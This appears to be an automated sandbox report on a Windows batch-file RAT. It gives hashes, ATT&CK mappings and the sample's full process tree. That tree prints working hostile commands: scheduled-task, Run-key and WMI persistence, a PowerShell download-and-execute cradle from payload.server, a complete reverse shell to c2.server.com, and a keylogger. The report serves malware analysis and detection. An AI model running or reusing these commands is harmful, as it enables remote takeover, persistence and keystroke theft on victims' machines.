b58d01c729c9deeddcb3b970087e51d99d283f6f63c29edd03b57cec10665a71

Analysis

max time kernel
149s
max time network
147s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_24416_014146.bat
Size 4KB
Sample260529-b112csgz71
SHA256 b58d01c729c9deeddcb3b970087e51d99d283f6f63c29edd03b57cec10665a71
MD5 52893ad728c652ccc9c5071bd896bcc5
SHA1 69ff81804240190659e421b062b07c3058c31027
SHA512 2efccd36c09d5b1493e481bdcfdb3de7326ea4406f6349eae9f4d72a1192f1a7f3c50575e9fe0cf1a5a5f0b6dd7c0382e86eb33b7be68cf4648573dc2e1916db
SSDEEP 96:HJINGW1ZI2nipWOw0WIYggHwE/hNdAUjoBK/YgnTjg1dOv9eRniFgZk8mvlo1RNY:p61ZG5LWQIdt/Jj7wiFgkHlSNY
TLSH
T175A118172B93752099B41204D9323C54636CE6FB1304CDCEFB48CED91A4DE8B91667EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_24416.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3048	powershell.exe
2824	powershell.exe
992	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_24416 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_24416.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5836	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5780	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4952	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2236	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
992	powershell.exe
992	powershell.exe
2824	powershell.exe
2824	powershell.exe
3048	powershell.exe
3048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4940	WMIC.exe
Token: SeSecurityPrivilege	4940	WMIC.exe
Token: SeTakeOwnershipPrivilege	4940	WMIC.exe
Token: SeLoadDriverPrivilege	4940	WMIC.exe
Token: SeSystemProfilePrivilege	4940	WMIC.exe
Token: SeSystemtimePrivilege	4940	WMIC.exe
Token: SeProfSingleProcessPrivilege	4940	WMIC.exe
Token: SeIncBasePriorityPrivilege	4940	WMIC.exe
Token: SeCreatePagefilePrivilege	4940	WMIC.exe
Token: SeBackupPrivilege	4940	WMIC.exe
Token: SeRestorePrivilege	4940	WMIC.exe
Token: SeShutdownPrivilege	4940	WMIC.exe
Token: SeDebugPrivilege	4940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4940	WMIC.exe
Token: SeRemoteShutdownPrivilege	4940	WMIC.exe
Token: SeUndockPrivilege	4940	WMIC.exe
Token: SeManageVolumePrivilege	4940	WMIC.exe
Token: 33	4940	WMIC.exe
Token: 34	4940	WMIC.exe
Token: 35	4940	WMIC.exe
Token: 36	4940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4940	WMIC.exe
Token: SeSecurityPrivilege	4940	WMIC.exe
Token: SeTakeOwnershipPrivilege	4940	WMIC.exe
Token: SeLoadDriverPrivilege	4940	WMIC.exe
Token: SeSystemProfilePrivilege	4940	WMIC.exe
Token: SeSystemtimePrivilege	4940	WMIC.exe
Token: SeProfSingleProcessPrivilege	4940	WMIC.exe
Token: SeIncBasePriorityPrivilege	4940	WMIC.exe
Token: SeCreatePagefilePrivilege	4940	WMIC.exe
Token: SeBackupPrivilege	4940	WMIC.exe
Token: SeRestorePrivilege	4940	WMIC.exe
Token: SeShutdownPrivilege	4940	WMIC.exe
Token: SeDebugPrivilege	4940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4940	WMIC.exe
Token: SeRemoteShutdownPrivilege	4940	WMIC.exe
Token: SeUndockPrivilege	4940	WMIC.exe
Token: SeManageVolumePrivilege	4940	WMIC.exe
Token: 33	4940	WMIC.exe
Token: 34	4940	WMIC.exe
Token: 35	4940	WMIC.exe
Token: 36	4940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5880	WMIC.exe
Token: SeSecurityPrivilege	5880	WMIC.exe
Token: SeTakeOwnershipPrivilege	5880	WMIC.exe
Token: SeLoadDriverPrivilege	5880	WMIC.exe
Token: SeSystemProfilePrivilege	5880	WMIC.exe
Token: SeSystemtimePrivilege	5880	WMIC.exe
Token: SeProfSingleProcessPrivilege	5880	WMIC.exe
Token: SeIncBasePriorityPrivilege	5880	WMIC.exe
Token: SeCreatePagefilePrivilege	5880	WMIC.exe
Token: SeBackupPrivilege	5880	WMIC.exe
Token: SeRestorePrivilege	5880	WMIC.exe
Token: SeShutdownPrivilege	5880	WMIC.exe
Token: SeDebugPrivilege	5880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5880	WMIC.exe
Token: SeRemoteShutdownPrivilege	5880	WMIC.exe
Token: SeUndockPrivilege	5880	WMIC.exe
Token: SeManageVolumePrivilege	5880	WMIC.exe
Token: 33	5880	WMIC.exe
Token: 34	5880	WMIC.exe
Token: 35	5880	WMIC.exe
Token: 36	5880	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5880	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 2236	3296	cmd.exe	81
PID 3296 wrote to memory of 4952	3296	cmd.exe	82
PID 3296 wrote to memory of 4940	3296	cmd.exe	83
PID 3296 wrote to memory of 5880	3296	cmd.exe	84
PID 3296 wrote to memory of 2152	3296	cmd.exe	85
PID 3296 wrote to memory of 5780	3296	cmd.exe	87
PID 3296 wrote to memory of 5836	3296	cmd.exe	90
PID 3296 wrote to memory of 992	3296	cmd.exe	91
PID 3296 wrote to memory of 2824	3296	cmd.exe	92
PID 3296 wrote to memory of 3048	3296	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_24416_014146.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_24416" /tr "C:\Users\Admin\AppData\Local\Temp\_24416.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2236
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_24416" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_24416.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4952
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_24416", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_24416", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_24416.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5880
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_24416.txt
  2⤵
  PID:2152
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5780
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_24416.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xsakgxuh.p0a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsakgxuh.p0a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/992-3-0x0000017344390000-0x00000173443B2000-memory.dmp

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